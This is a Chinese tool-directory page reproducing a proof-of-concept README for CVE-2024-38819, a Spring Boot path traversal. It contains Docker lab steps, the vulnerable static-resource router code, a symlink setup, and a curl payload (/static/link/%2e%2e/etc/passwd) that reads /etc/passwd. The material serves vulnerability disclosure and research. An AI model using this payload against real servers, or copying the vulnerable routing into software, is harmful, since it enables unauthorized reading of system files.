Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-38819-POC2 — CVE-2024-38819 的概念验证漏洞利用,演示了通过符号链接和百分号编码在 Spring Boot 静态文件路由中实现路径遍历。 | Kitploit
工具/GitHubGitHub/vishalnoza/cve-2024-38819-poc2
容器安全漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubvishalnoza/cve-2024-38819-poc2

CVE-2024-38819-POC2

CVE-2024-38819 的概念验证漏洞利用,演示了通过符号链接和百分号编码在 Spring Boot 静态文件路由中实现路径遍历。

查看仓库
131年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-38819:概念验证 (PoC)

这是针对 CVE-2024-38819 漏洞的概念验证,该漏洞由我报告,演示了一个路径遍历利用。

执行步骤

  1. 构建 Docker 镜像(Spring Boot 3.3.4,基于 Spring Framework 6.1.13)

    root@kitploit:~
    cd vuln
    docker build -t cve-2024-38819-poc .
    
  2. 运行容器并将主机的8080端口暴露出来

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
    
  3. 运行以下命令执行 PoC 并确认漏洞存在

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    如果攻击成功,将显示 /etc/passwd 文件的内容。

解释

  1. 创建 PathTraversalDemoApplication.java 文件,使用以下代码设置使用 RouterFunction 和 FileSystemResource 的静态文件路由:

    root@kitploit:~
    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    
  2. 在 Dockerfile 中添加以下命令以创建一个符号链接:

    root@kitploit:~
    RUN ln -s /static /app/static/link
    
  3. 创建一个利用百分号编码通过符号链接遍历目录的有效载荷。

    • Path: /static/link/%2e%2e/etc/passwd
  4. 使用以下 curl 命令执行 PoC 并验证攻击是否成功:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    如果攻击成功,将显示 /etc/passwd 文件的内容。

免责声明

此 PoC 仅供教育和安全研究目的使用。在将其用于真实系统之前,请确保漏洞已修复并获得适当授权。作者对任何滥用此代码的行为不承担任何责任。

下载工具